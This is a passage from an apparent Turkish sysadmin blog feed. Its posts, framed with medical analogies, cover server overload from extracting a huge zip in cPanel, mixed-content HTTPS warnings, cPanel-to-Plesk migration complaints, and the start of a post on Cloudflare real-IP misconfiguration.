<li><strong>Search Console Güvenlik Bildirimleri:</strong> Sitenizde bir index kaybı yaşandığında derhal Google Search Console'daki "Güvenlik ve Manuel İşlemler" sekmesini kontrol edip temizleme ve yeniden değerlendirme (Reconsideration Request) talebinde bulunun.</li>
</ul>
<p>Ameliyattan çıkan temiz hastayı tüberküloz koğuşuna yatırmak nasıl bir sağlık cinayetiyse, kurumsal markanızı kumar ve phishing siteleriyle aynı IP havuzuna atmak da öyle bir mühendislik cinayetidir. Altyapıda tasarruf etmek iyidir; ancak itibarınızı ve arama motoru varlığınızı üç kuruşluk komşu riskine kurban etmek tasarruf değil, intihardır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Shared Hosting</category>
            <category>SEO</category>
            <category>IP Blacklist</category>
            <category>Google</category>
            <category>Sistem Yönetimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/shared-ip-uzerinde-adultspam-komsu-ve-google-index-kaybi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["CPanel'den Dosya Yöneticisi (File Manager) İle Zip Çıkarırken Sunucunun Kilitlenmesi"]]></title>
            <link>http://localhost:3000/blog/post/cpanelden-dosya-yoneticisi-file-manager-ile-zip-cikarirken-sunucunun-kilitlenmesi</link>
            <guid>cpanelden-dosya-yoneticisi-file-manager-ile-zip-cikarirken-sunucunun-kilitlenmesi</guid>
            <pubDate>Mon, 23 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Müşterinin 40 GB büyüklüğündeki ve içinde 400.000 adet dosya bulunan devasa .zip yedeğini cPanel File Manager arayüzünden "Extract" etmeye kalkışması, disk I/O kuyruğunun kilitlenmesi ve tüm sunucunun komaya girmesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/cpanelden-dosya-yoneticisi-file-manager-ile-zip-cikarirken-sunucunun-kilitlenmesi/thumbnail" alt=""> Acil tıp pratiğinde hekimlerin karşılaştığı en dramatik ve yıldırım hızıyla öldüren tablolardan biri "Masif Pulmoner Tromboemboli"dir (semer emboli). Bacağın derin toplardamarlarında sessizce büyüyen devasa bir pıhtı kitlesi, hastanın aniden ayağa kalkmasıyla yerinden kopar. Dolaşıma katılır, kalbin sağ odacıklarından geçer ve ana akciğer atardamarının ikiye ayrıldığı o kritik kavşağa (bifürkasyon) bir takoz gibi oturur. Akciğerlere kan akışı bir saniyede durur; sağ kalp odacığı o devasa direnci aşamadığı için anında genişler (akut cor pulmonale), tansiyon sıfırlanır ve hasta hekimin gözünün önünde morararak kardiyak arreste girer. Tek bir dev pıhtı, tüm dolaşım sisteminin nefesini kesmiştir.</p>
<p>Linux sunucu yönetimi ve veri merkezi operasyonlarında da sistem yöneticilerinin monitörlerinde tüm grafiklerin kırmızıya çakılmasına ve yüzlerce web sitesinin aynı anda donmasına yol açan o ölümcül semer pıhtı vardır: <strong>cPanel Dosya Yöneticisi (File Manager) üzerinden web arayüzüyle 40 gigabaytlık bir ZIP arşivini açmaya (Extract) kalkışmak.</strong></p>
<h3>Çarşamba 14:20: Bir Tıklamayla Gelen Sessizlik</h3>
<p>Haftanın en yoğun iş saatinde, paylaşımlı bir sunucuda barınan bir e-ticaret geliştiricisi veya ajans çalışanı işini "hızlıca" halletmek ister. Eski sunucusundan indirdiği 42 GB büyüklüğündeki site yedeğini FTP veya web arayüzünden yeni cPanel hesabının <code>public_html</code> dizinine yüklemiştir: <code>full_backup_mart_2026.zip</code>.</p>
<p>Bu devasa arşivin içinde sadece birkaç büyük veritabanı yedeği yoktur; son 8 yıldır yüklenmiş 450.000 adet ürün görseli, minik minik önbellek dosyaları, oturum kayıtları ve modül dizinleri vardır.</p>
<p>Geliştiricimiz SSH terminalini açıp arka planda düşük öncelikle (<code>nice</code> / <code>ionice</code>) işlem yapmak yerine, cPanel'in web tabanlı <strong>Dosya Yöneticisi (File Manager)</strong> sekmesini açar. Arşiv dosyasını seçer, sağ üstteki o masum <strong>"Extract" (Çıkar)</strong> butonuna tıklar ve arkasına yaslanır.</p>
<p>O butona tıklandığı saniyede, veri merkezindeki sunucu kabininde sanal bir semer embolisi patlak verir.</p>
<h3>Linux Çekirdeğinde Masif Damar Tıkanması</h3>
<p>cPanel Dosya Yöneticisi, masaüstü bir işletim sistemi gibi tasarlanmamıştır. Web arayüzünden "Extract" dediğinizde arayüz arka planda bir <code>unzip</code> veya PHP/Perl betiğini web sunucusu kullanıcısının (<code>cpanel-cpsrvd</code>) yetkileriyle doğrudan tek bir çekirdeğe ve I/O kanalına kilitler.</p>
<p>Ve arka planda şu dehşet senaryosu başlar:</p>
<ol>
<li><strong>Inode Fırtınası:</strong> Arşivin içindeki 450.000 küçük dosya diske yazılmaya çalışılır. Her bir dosya için işletim sistemi dosya tablosuna (inode) yeni bir kayıt girmek, izinleri (<code>chmod 0644</code>) kontrol etmek ve dizin ağacını güncellemek zorundadır.</li>
<li><strong>I/O Wait Kilitlenmesi (Disk Kuyruk Patlaması):</strong> Sunucunun kurumsal NVMe disk dizileri bile bu eşzamanlı rastgele yazma (random write) fırtınası karşısında nefessiz kalır. Linux çekirdeğinde <code>%iowait</code> değeri %0.5'ten anında <strong>%98'e</strong> fırlar. Yani işlemci çekirdekleri işlem yapamaz; diskin yazma kuyruğunun boşalmasını beklemekten kilitlenir.</li>
<li><strong>Load Average Patlaması:</strong> Normal şartlarda 2.0 veya 3.0 seviyesinde çalışan sunucu yükü (Load Average) saniyeler içinde <strong>65.0</strong>, ardından <strong>140.0</strong> seviyesine tırmanır.</li>
<li><strong>MySQL / MariaDB Kalp Durması:</strong> Veritabanı motoru diske <code>redo log</code> ve buffer yazmak istediğinde diskten yanıt alamaz. Veritabanı soketi askıda kalır; sunucudaki diğer 250 web sitesinin tamamı aynı anda ekrana o korkunç hatayı basmaya başlar: <strong>"503 Service Unavailable"</strong> ve <strong>"Error establishing a database connection"</strong>.</li>
</ol>
<p>Tek bir kullanıcının web arayüzünden tıkladığı o tek buton, sunucudaki tüm komşuların dolaşım sistemini felç etmiştir.</p>
<h3>Sistem Yöneticisinin Yoğun Bakım Refleksi</h3>
<p>Sistem yöneticisinin cebindeki PagerDuty veya Telegram botu aralıksız titremeye başlar: <em>"SERVER-04 LOAD CRITICAL: 112.4"</em>.</p>
<p>Mühendis terminale girmeye çalışır; SSH bağlantısı bile I/O kilitlenmesi yüzünden 45 saniyede zar zor açılır. Terminal açılır açılmaz komutlar hekimin acil tPA (pıhtı eritici ilaç) vermesi gibi seridir:</p>
<pre><code class="language-bash">top -c
# veya
iotop -oPa
</code></pre>
<p>Tablo anında görünür: <code>user_eticaret</code> kullanıcısı altında koşan <code>/usr/bin/unzip full_backup_mart_2026.zip</code> process'i diskin tüm bant genişliğini tek başına sömürmektedir.</p>
<p>Tereddüt edilmez; pıhtıyı mekanik olarak parçalamak gerekir:</p>
<pre><code class="language-bash">killall -9 unzip
# veya
pkill -u user_eticaret -9
</code></pre>
<p>Komut verildiği anda disk üzerindeki o devasa yazma baskısı kırılır. I/O kuyruğu milisaniyeler içinde erir, işlemci çekirdekleri nefes alır, Load Average dakikalar içinde 140'tan 4'e geriler ve diğer müşterilerin siteleri canlanmaya başlar.</p>
<h3>"Sitemi Yarıda Kestiniz!" Şikayeti</h3>
<p>Tabii ki operasyon biter bitmez kullanıcıdan bilet düşer:</p>
<blockquote>
<p><em>"Sitenin yedeğini açıyordum, tam %60'tayken işlem iptal oldu! Dosyalarım eksik çıktı! Sizin sunucunuz 40 GB dosyayı bile açamıyor mu? Ne biçim donanımınız var sizin?"</em></p>
</blockquote>
<p>Mühendis sabırla açıklar: <em>"Sayın kullanıcımız, paylaşımlı bir sunucuda web tarayıcısı üzerinden tek oturumda 450.000 dosyalık bir arşivi açmaya çalışmak sunucunun tüm disk erişimini durdurur. Bu tür devasa yedekler web panelinden değil, SSH üzerinden düşük öncelikle veya parçalı olarak açılmalıdır."</em></p>
<h3>Doğru Cerrahi Protokol: Büyük Arşivler Nasıl Açılır?</h3>
<p>Sunucuyu komaya sokmadan, komşuların canını yakmadan devasa arşivleri yönetmenin mühendislik kuralları bellidir:</p>
<ol>
<li><strong>SSH ve <code>ionice</code> Kullanımı:</strong> Büyük arşivler asla tarayıcıdan değil, doğrudan SSH konsolundan açılmalıdır. Üstelik Linux'un I/O öncelik yöneticisi (<code>ionice</code>) ile disk yükü sınırlandırılmalıdır:
<pre><code class="language-bash"># İşlemi en düşük disk önceliğiyle (Idle/Best Effort) çalıştır:
ionice -c 3 nice -n 19 unzip -q dev_arsiv.zip &#x26;
</code></pre>
Bu komut sayesinde işlemci ve disk, sadece sistemde boşluk olduğunda arşivi açar; sunucunun ana işleyişi asla aksamaz.</li>
<li><strong>Arşivi Parçalara Bölmek:</strong> 40 GB'lık tek bir devasa zip yerine, veritabanını ayrı (<code>db.sql.gz</code>), ürün görsellerini yıllık klasörler halinde ayrı arşivler (<code>images_2025.tar.gz</code>) olarak saklamak.</li>
<li><strong>Bulut Depolama Üzerinden Senkronizasyon (Rsync / Rclone):</strong> Arşivi sunucu içinde açmak yerine, dosyaları yerel makinede veya ayrı bir staging alanında açıp sunucuya <code>rsync -avz</code> komutuyla peyderpey göndermek.</li>
</ol>
<p>Masif pıhtıyı ana damardan geçirmeye çalışmak biyolojiyi nasıl öldürüyorsa, yüz binlerce dosyayı web panelinden açmaya çalışmak da sunucuyu öyle komaya sokar. Arayüzün sunduğu her buton, limitsiz bir sorumsuzluk hakkı vermez. Profesyonel mühendislik, aracın gücünü bilmek kadar sınırlarına da saygı duymayı gerektirir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>cPanel</category>
            <category>File Manager</category>
            <category>Disk IO</category>
            <category>Linux</category>
            <category>Sistem Yönetimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/cpanelden-dosya-yoneticisi-file-manager-ile-zip-cikarirken-sunucunun-kilitlenmesi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["SSL Sertifikası Yükledim Ama Sitem Güvenli Değil": Mixed Content (Karma İçerik) Sancısı]]></title>
            <link>http://localhost:3000/blog/post/ssl-sertifikasi-yukledim-ama-sitem-guvenli-degil-mixed-content-karma-icerik-sancisi</link>
            <guid>ssl-sertifikasi-yukledim-ama-sitem-guvenli-degil-mixed-content-karma-icerik-sancisi</guid>
            <pubDate>Sun, 22 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Sunucuya en pahalı EV SSL sertifikasını kurup siteyi HTTPS protokolüne geçirdikten sonra, kodun içindeki eski HTTP görselleri ve JavaScript dosyaları yüzünden tarayıcının kilit simgesini kırması ve müşterinin yaşadığı "Bozuk sertifika sattınız" hezeyanı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/ssl-sertifikasi-yukledim-ama-sitem-guvenli-degil-mixed-content-karma-icerik-sancisi/thumbnail" alt=""> Modern cerrahide "Steril Saha" kavramı mutlak ve tavizsiz bir kanundur. Ameliyathanenin kapısından girdiğinizde hava pozitif basınçlı hepa filtrelerle temizlenir. Cerrah ellerini beş dakika boyunca antiseptik solüsyonla yıkar, steril eldivenlerini giyer, otoklavda 134 derecede sterilize edilmiş aletler yeşil örtünün üzerine dizilir. Şimdi bu steril ameliyat masasının başına geçen cerrahın, cebinden sokakta çamura düşmüş paslı bir tornavida çıkarıp hastanın açık batın ameliyatında organları kurcaladığını hayal edin.</p>
<p>O saniyede cerrahın yıkadığı ellerin, steril önlüğün, hepa filtrelerin hiçbir anlamı kalmaz; tüm ameliyathane anında "kontamine" (enfekte) kabul edilir. Dışarıdan bakan bir hasta yakını ise camın arkasından yeşil cerrahi önlüğü görüp <em>"Burası tam teşekküllü ameliyathane, hasta nasıl enfeksiyon kaptı?"</em> diye şaşırır.</p>
<p>Web güvenliği ve tarayıcı ekosisteminde de web geliştiricilerin ve site sahiplerinin en sık düştüğü, destek masalarında ise en çok kavga çıkaran sendrom tam olarak bu sterilite ihlalidir: <strong>Mixed Content (Karma İçerik) tuzağı ve kırılan yeşil kilit simgesi.</strong></p>
<h3>"300 Dolar Verdim, Nerede Bu Yeşil Kilit?"</h3>
<p>Pazartesi sabahı e-ticaret sitesi sahibi hiddetle destek masasına bilet açar. Önceki gün hosting firmasından yıllık 250-300 dolar ödeyerek sektörün en prestijli, yeşil bar veren (Extended Validation - EV SSL) sertifikasını satın almıştır.</p>
<p>Sertifika sunucuya kusursuz bir şekilde kurulmuştur. Apache/Nginx yapılandırması tamamlanmış, RSA 2048-bit şifreleme anahtarları devreye alınmış, <code>https://sirketadi.com.tr</code> yazıldığında el sıkışma (TLS Handshake) başarıyla gerçekleşmektedir.</p>
<p>Fakat müşteri Chrome tarayıcısını açıp sitesine girdiğinde, o rüyalarını süsleyen güvenli kilit simgesi yerine korkunç bir uyarı görür:</p>
<blockquote>
<p><strong>"Bu site ile bağlantınız tam olarak güvenli değil."</strong><br>
<em>(Kilit simgesinin üzerinde sarı bir üçgen veya kırmızı bir ünlem işareti belirmektedir!)</em></p>
</blockquote>
<p>Müşterinin destek masasına yazdığı metin buram buram komplo teorisi kokar:</p>
<blockquote>
<p><em>"Siz bana sahte sertifika sattınız! Paramı aldınız ama sitem 'Güvenli Değil' yazıyor. Müşterilerim alışveriş yapmaktan korkuyor, kredi kartı bilgilerini girmiyorlar! Derhal paramı iade edin ya da o yeşil kilidi oraya koyun, sizi mahkemeye veririm!"</em></p>
</blockquote>
<h3>Suç Mahalli: Sayfa Kaynağındaki 2015 Kalıntısı</h3>
<p>Destek mühendisi tarayıcıda sitenin üzerine sağ tıklar, <strong>"İncele" (Inspect)</strong> der ve <strong>Console (Konsol)</strong> sekmesini açar.</p>
<p>Ekranda kırmızı harflerle basılmış onlarca uyarı satırı bir yangın gibi parlamaktadır:</p>
<pre><code class="language-text">Mixed Content: The page at 'https://sirketadi.com.tr/' was loaded over HTTPS, 
but requested an insecure element 'http://sirketadi.com.tr/images/logo.png'. 
This request was automatically upgraded to HTTPS or blocked to protect your security.

Mixed Content: The page at 'https://sirketadi.com.tr/' was loaded over HTTPS, 
but requested an insecure script 'http://harici-reklam.com/sayac.js'. 
This content should also be served over HTTPS.
</code></pre>
<p>Gerçek gün gibi ortadadır. Sunucudaki tünel (HTTPS) son derece güvenlidir, steril oda kurulmuştur. Ancak sitenin HTML kaynak kodunun içinde, ta 2015 yılında o siteyi yapan yazılımcının elle yazdığı (hardcoded) bir görsel çağrısı vardır:</p>
<pre><code class="language-html">&#x3C;img src="http://sirketadi.com.tr/images/kampanya-banner.jpg" />
&#x3C;script src="http://istatistik.net/tracker.js">&#x3C;/script>
</code></pre>
<p>Tarayıcı (Chrome, Firefox, Safari) bu durumu gördüğü an kullanıcıyı korumak için alarm zillerini çalar. Mantık basittir: <em>"Evet, ana sayfa şifreli bir tünelden geldi ama bu sayfanın içindeki o resim veya javascript dosyası şifresiz (HTTP port 80) açık kanaldan çekiliyor. Araya giren bir korsan (Man-in-the-Middle) o şifresiz dosyayı değiştirip kullanıcıya sahte form gösterebilir!"</em></p>
<p>Tarayıcı acımasızdır; tek bir şifresiz görsel bile görse, o kutsal yeşil güven damgasını anında yırtıp atar.</p>
<h3>İllüzyon: "Hosting Firması Sitedeki Kodu Düzeltsin"</h3>
<p>Destek mühendisi ekran görüntülerini ekleyerek müşteriye durumu anlatır: <em>"Ahmet Bey, satın aldığınız SSL sertifikası %100 geçerli ve aktiftir. Sorun sitenizin HTML kodlarının içinde 14 adet görselin ve harici bir sayacın hâlâ 'http://' protokolüyle çağrılmasından kaynaklanmaktadır. Bu linkleri 'https://' olarak güncellerseniz veya temanızın ayarlarından SSL zorlamasını açarsanız kilit simgeniz yemyeşil olacaktır."</em></p>
<p>İşte teknik destek ekiplerini duvara vuran o meşhur cevap gelir:</p>
<blockquote>
<p><em>"Kardeşim ben koddan ne anlarım? Ben sizden SSL aldım, siz düzeltin o linkleri! Madem sertifika aldık, sitenin içindeki linkleri de otomatik güvenli yapması gerekmiyor mu? Niye ben uğraşıyorum?"</em></p>
</blockquote>
<p>Müşteri, SSL sertifikasını bir sihirli değnek sanmaktadır. Zanneder ki sertifika kurulunca sunucu sitenin veritabanındaki yüz binlerce satırı, CSS dosyalarını ve JavaScript fonksiyonlarını sihirli bir el gibi tarayıp otomatik düzeltecektir.</p>
<h3>Karma İçeriğe Karşı Cerrahi Sterilizasyon Protokolü</h3>
<p>Mixed content hatasını çözmek ve kırık kilit simgesini tamir etmek, aslında web geliştiriciler için son derece standart ve kolay bir ameliyattır:</p>
<ol>
<li><strong>Veritabanında Toplu Değiştirme (Search &#x26; Replace):</strong> WordPress veya özel CMS sistemlerinde veritabanına girip <code>http://sirketadi.com</code> geçen tüm satırları <code>https://sirketadi.com</code> olarak güncellemek (Örn: WP-CLI ile <code>wp search-replace 'http://sirketadi.com' 'https://sirketadi.com'</code>).</li>
<li><strong>Protokolden Bağımsız Göreli URL'ler (Protocol-Relative URLs):</strong> Kodların içine mutlak adres yazmak yerine <code>/images/logo.png</code> şeklinde göreli (relative) adresleme kullanmak.</li>
<li><strong>Upgrade Insecure Requests Başlığı:</strong> Web sunucusunun HTTP yanıt başlıklarına (header) tek bir satır ekleyerek tarayıcıya sayfadaki tüm HTTP çağrılarını otomatik olarak HTTPS'e yükseltmesini emretmek:
<pre><code class="language-http">Content-Security-Policy: upgrade-insecure-requests;
</code></pre>
</li>
<li><strong>Harici Kaynakların Denetimi:</strong> Sayfaya eklenen üçüncü parti sayaçların, hava durumu widget'larının veya yazı tiplerinin (Google Fonts) HTTPS desteğinin olup olmadığını kontrol etmek; HTTPS sunmayan çağrıları siteden tamamen temizlemek.</li>
</ol>
<p>Steril ameliyathaneye sokak çamuru sokup enfeksiyon çıktığında başhekimi suçlayamazsınız. SSL sertifikası sunucu ile ziyaretçi arasındaki köprüye çelik zırh giydirir; o köprünün üzerinden ne geçireceğiniz ise tamamen yazılımcının mimari ahlakına ve dikkatine bağlıdır. Yeşil kilit satın alınmaz; temiz kodla hak edilir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>SSL</category>
            <category>HTTPS</category>
            <category>Mixed Content</category>
            <category>Web Güvenliği</category>
            <category>Sistem Yönetimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/ssl-sertifikasi-yukledim-ama-sitem-guvenli-degil-mixed-content-karma-icerik-sancisi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Plesk vs. cPanel" Savaşında Arada Kalan Destek Ekibi]]></title>
            <link>http://localhost:3000/blog/post/plesk-vs-cpanel-savasinda-arada-kalan-destek-ekibi</link>
            <guid>plesk-vs-cpanel-savasinda-arada-kalan-destek-ekibi</guid>
            <pubDate>Sat, 21 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[cPanel'in küresel lisans zamları sonrası maliyeti dengelemek için Plesk paneline göç eden hosting firmaları ve yıllardır ezberlediği butonların yeri 3 santim kaydı diye destek masasını ateşe veren kullanıcı muhafazakârlığı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/plesk-vs-cpanel-savasinda-arada-kalan-destek-ekibi/thumbnail" alt=""> Hastanelerin yoğun bakım ünitelerinde hekimlerin ve kıdemli anestezi teknikerlerinin çok iyi bildiği bir "arayüz şoku" vardır. Yıllardır aynı model, mekanik ibreli ve analog döner düğmeli eski nesil bir mekanik ventilatörle (solunum cihazı) çalışmış bir uzmanın odasına girin. Gözü kapalı, karanlıkta bile eliyle hastanın inspiratuar basıncını (PIP), tidal volümünü ve PEEP seviyesini ayarlar; çünkü o düğmeler parmak uçlarının refleks hafızasına kazınmıştır.</p>
<p>Günün birinde hastane yönetimi maliyetleri optimize etmek ve yeni standartlara geçmek için o eski analog cihazları kaldırıp yerine modern, dokunmatik ekranlı, menü tabanlı yeni nesil ventilatörler yerleştirir. Yeni cihaz hastaya daha hassas oksijen verir, akciğer hasarını önler ve modern grafikler çizer. Ancak o eski hekim ilk nöbette çılgına döner: <em>"Bu alet bozuk! Hastayı öldüreceksiniz! Nerede bunun PEEP çevirme düğmesi? Menünün içine ayar mı gizlenirmiş? Derhal eski cihazımı geri getirin, bu hastanede hekimlik yapılamaz!"</em> Cihaz bozuk değildir; hekimin kas hafızası ve alıştığı refleksleri yeni arayüz karşısında felç olmuştur.</p>
<p>Web barındırma sektöründe 2019 yılında başlayan ve dalgaları bugüne kadar süren en büyük operasyonel deprem de tam olarak bu kas hafızası krizidir: <strong>cPanel'den Plesk'e (veya DirectAdmin'e) geçiş trajedisi.</strong></p>
<h3>Oakley Capital Fırtınası ve 10 Katına Çıkan Faturalar</h3>
<p>Web hosting endüstrisi yirmi yıl boyunca tek bir kralın mutlak saltanatı altında yaşadı: <strong>cPanel</strong>. Dünyadaki tüm paylaşımlı sunucular cPanel arayüzüyle yönetildi. Sektördeki geliştiriciler, ajanslar, şirket sekreterleri ve lise öğrencileri bile kontrol paneli denildiğinde zihinlerinde tek bir şablon canlandırdı: Sol tarafta sunucu istatistikleri, ortada renkli ikon grupları (Dosyalar, Veritabanları, E-posta, Alan Adları).</p>
<p>Ancak 2018-2019 yıllarında küresel yatırım fonu Oakley Capital devreye girdi; cPanel ve Plesk'i satın alarak tekel oluşturdu. Ardından sektörün hafızasına kazınan o acımasız lisans politikasını duyurdu: Sunucu başına sabit aylık 15-20 dolar olan cPanel lisansları bir gecede <strong>hesap başına (per-account)</strong> faturalandırılmaya başlandı!</p>
<p>Bir fiziksel sunucuda 800 adet küçük web sitesi barındıran yerli bir hosting firmasının aylık lisans maliyeti 20 dolardan anında <strong>250-300 dolara</strong>, yani döviz kuruyla birlikte astronomik rakamlara fırladı.</p>
<p>Hosting firmalarının önünde iki seçenek vardı: Ya 100 TL olan hosting paket fiyatlarını 800 TL'ye çıkarıp müşteriyi kaybetmek, ya da altyapıyı daha esnek lisanslama sunan <strong>Plesk</strong> veya <strong>DirectAdmin</strong> panellerine taşımak.</p>
<p>Birçok firma maliyetleri müşteriye yansıtmamak için fedakarlık yaptı ve sunucularını Plesk Obsidian arayüzüne geçirdi.</p>
<p>Ve işte o gün, destek ekipleri için cehennemin kapıları ardına kadar açıldı.</p>
<h3>Pazartesi 09:00: "Benim phpMyAdmin Butonum Nerede?"</h3>
<p>Pazartesi sabahı yeni sunucuya taşınan müşteriler e-postalarına gelen yeni kontrol paneli giriş bilgilerini açtılar. Karşılarına cPanel'in o 2005'ten kalma tanıdık kalabalık ızgara ekranı yerine; sol tarafta dikey menüsü olan, minimalist, beyaz ve modern Plesk Obsidian arayüzü çıktı.</p>
<p>Destek telefonları aynı anda kırmızı alarm vermeye başladı:</p>
<blockquote>
<p><em>"Siz ne yaptınız sunucuya? cPanel'im nerede? Bu ne biçim yabancı arayüz? Veritabanıma gireceğim, sol taraftaki o sarı phpMyAdmin ikonu nerede? Dosya yöneticisini nereye sakladınız? Bütün işimi bozdunuz, derhal eski cPanel'imi geri getirin!"</em></p>
</blockquote>
<p>Destek mühendisi sakin kalmaya çalışarak tarif eder: <em>"Ahmet Bey, yeni modern panelimizde alan adınızın hemen altındaki 'Veritabanları' sekmesine tıklarsanız phpMyAdmin butonu sağ tarafta açıkça görünmektedir. Dosya Yöneticisi de hemen sol menüdedir."</em></p>
<p>Müşterinin cevabı asla değişmez:</p>
<blockquote>
<p><em>"Bana ne sağından solundan! On yıldır tek tıkla giriyordum, şimdi iki kere tıklatıyorsunuz bana! Bu panel çok yavaş, bu sistem çalışmıyor! cPanel dünyanın bir numarasıdır, siz ucuza kaçmak için çakma Rus paneli kurmuşsunuz!"</em> (Oysa Plesk de cPanel ile aynı çatı şirketine aittir ve çok daha gelişmiş bir Docker/Node.js entegrasyonuna sahiptir!)</p>
</blockquote>
<h3>Alışkanlığın Tiranlığı: Müşteri Fonksiyonu Değil, Refleksi Satın Alır</h3>
<p>Bu kriz, yazılım mimarlarına ve ürün yöneticilerine çok acımasız bir gerçeği öğretir: <strong>Kullanıcı yazılımın teknik yeteneklerini veya arka plandaki kernel optimizasyonunu değil; yıllar içinde kazandığı kas hafızasını ve reflekslerini satın alır.</strong></p>
<p>Plesk, teknik olarak cPanel'den birçok noktada üstündür:</p>
<ul>
<li>Natively Nginx ters vekil (reverse proxy) desteği vardır; statik dosyaları Apache'ye hiç uğratmadan ışık hızında sunar.</li>
<li>Git entegrasyonu, PHP Composer ve Node.js/Ruby desteği panelin tam kalbine entegre edilmiştir.</li>
<li>Güvenlik duvarı ve SSL yönetimi (Let's Encrypt otomasyonu) çok daha derli topludur.</li>
</ul>
<p>Fakat sıradan kullanıcı bunların hiçbirini umursamaz. Kullanıcı için önemli olan tek şey, sabah kahvesini içerken gözünü ekrandan ayırmadan tıkladığı o butonun yerinde durup durmadığıdır. Butonun yeri 3 santim sağa kaydıysa, onun gözünde tüm sunucu "bozuk ve kullanışsızdır."</p>
<h3>Değişim Yönetimi (Change Management) ve Geçiş Reçetesi</h3>
<p>Mühendislik ekiplerinin yaptığı en büyük hata, teknik göçü kusursuz planlarken kullanıcı psikolojisini tamamen göz ardı etmektir. Bir kontrol paneli veya arayüz değişikliği yapılırken şu cerrahi stratejiler uygulanmalıdır:</p>
<ol>
<li><strong>Önceden Eğitici Kılavuzlar (Onboarding Videos):</strong> Göç yapılmadan iki hafta önce müşterilere <em>"Yeni nesil panelimize geçiyoruz: İşte en çok kullandığınız 5 özelliğin yeni yerleri"</em> başlıklı 60 saniyelik mikro videolar ve ekran görüntüleri göndermek.</li>
<li><strong>Geçiş Arayüz Temaları:</strong> Plesk'in sunduğu "Classic cPanel Style" görünüm modlarını aktif ederek kullanıcının göz aşinalığını korumak.</li>
<li><strong>Destek Şablonlarının Hazırlanması:</strong> Destek ekibine "Plesk'te e-posta nasıl açılır?", "FTP şifresi nasıl değiştirilir?" gibi en sık sorulan 20 sorunun resimli hazır yanıtlarını erkenden hazırlatmak.</li>
<li><strong>Maliyet Şeffaflığı:</strong> Müşteriye ısrarla cPanel istediği takdirde <em>"cPanel lisans bedeli aylık 15 dolardır, tercih ederseniz bu farkı ödeyerek özel cPanel sunucuda kalabilirsiniz"</em> opsiyonunu sunarak kararı müşterinin cebine bırakmak. (Farkı duyan müşterilerin %95'i ertesi gün Plesk'i sevmeye başlar!)</li>
</ol>
<p>Eski analog ventilatörün düğmesine sarılan hekim gibi, eski cPanel ikonlarını arayan kullanıcıyı da yargılayamazsınız. İnsan doğası değişime dirençlidir. Başarılı bir altyapı mühendisliği sadece sunucuları taşımakla bitmez; o sunucuyu kullanan insanın zihnindeki alışkanlık köprülerini de sabırla ve empatiyle yeniden inşa etmeyi gerektirir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>cPanel</category>
            <category>Plesk</category>
            <category>Hosting</category>
            <category>Sistem Yönetimi</category>
            <category>Kullanıcı Deneyimi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/plesk-vs-cpanel-savasinda-arada-kalan-destek-ekibi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Cloudflare Arkasına Saklanan Müşteri" ve Gerçek IP Karmaşası]]></title>
            <link>http://localhost:3000/blog/post/cloudflare-arkasina-saklanan-musteri-ve-gercek-ip-karmasasi</link>
            <guid>cloudflare-arkasina-saklanan-musteri-ve-gercek-ip-karmasasi</guid>
            <pubDate>Fri, 20 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Sitenin önüne Cloudflare CDN kalkanı koyup sunucuda mod_remoteip ayarını yapmayı unutan yöneticinin, sunucu güvenlik duvarının tüm ziyaretçileri tek bir Cloudflare IP'si sanarak kalkanı toptan banlaması ve sitenin küresel çapta karanlığa gömülmesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/cloudflare-arkasina-saklanan-musteri-ve-gercek-ip-karmasasi/thumbnail" alt=""> Salgın hastalık döneminde bir acil serviste çalıştığınızı düşünün. Bulaş riskini sıfırlamak için hastane yönetimi kapıya tam korumalı, sarı tulumlu ve filtreli gaz maskeli özel bir güvenlik ve dezenfeksiyon ekibi yerleştirir. Dışarıdan gelen her hasta bu ekibin kontrolünden geçer, hastanın üzerine steril bir örtü örtülür ve kapıdaki görevli hastayı sedyeyle içeri alır. İçerideki hekim ise hastaların hiçbirinin yüzünü görmez; sedyenin başındaki o güvenlik görevlisinin yakasındaki kimlik kartına bakar.</p>
<p>Bir gün acil servise kabul edilen hastalardan biri içeride taşkınlık yapar, camları kırar. Hekim öfkeyle kapıdaki polise seslenir: <em>"Şu sarı tulumlu adamı derhal tutuklayın ve hastaneye bir daha sokmayın!"</em> Polis emri uygular; kapıdaki dezenfeksiyon görevlisini kelepçeleyip içeri girmesini yasaklar. Sonuç ne olur? Kapı mühürlenir. O görevlinin getireceği diğer 500 ağır yaralı hasta sokakta kalır, içeri tek bir hasta giremez ve hastane kendi güvenliğini sağlayacağım derken tamamen işlevsiz hale gelir.</p>
<p>Web altyapısında ve ağ güvenliğinde de <strong>Cloudflare gibi bir Ters Vekil (Reverse Proxy / CDN)</strong> kalkanı kurup, arkadaki kök sunucuda gerçek IP çözümlemesini (<strong>mod_remoteip / restore_real_ip</strong>) yapılandırmamak, tam olarak bu trajikomik hekim hatasının dijital kopyasıdır.</p>
<h3>Koruma Kalkanının Arkasındaki Körlük</h3>
<p>Bir web sitesi sahibi veya sistem yöneticisi, sitesini DDoS saldırılarından, bot istilasından korumak ve önbellekleme (caching) ile hızlandırmak için harika bir karar verir: Alan adının DNS kayıtlarını Cloudflare'e devreder ve "Turuncu Bulut" (Proxy status: Proxied) özelliğini açar.</p>
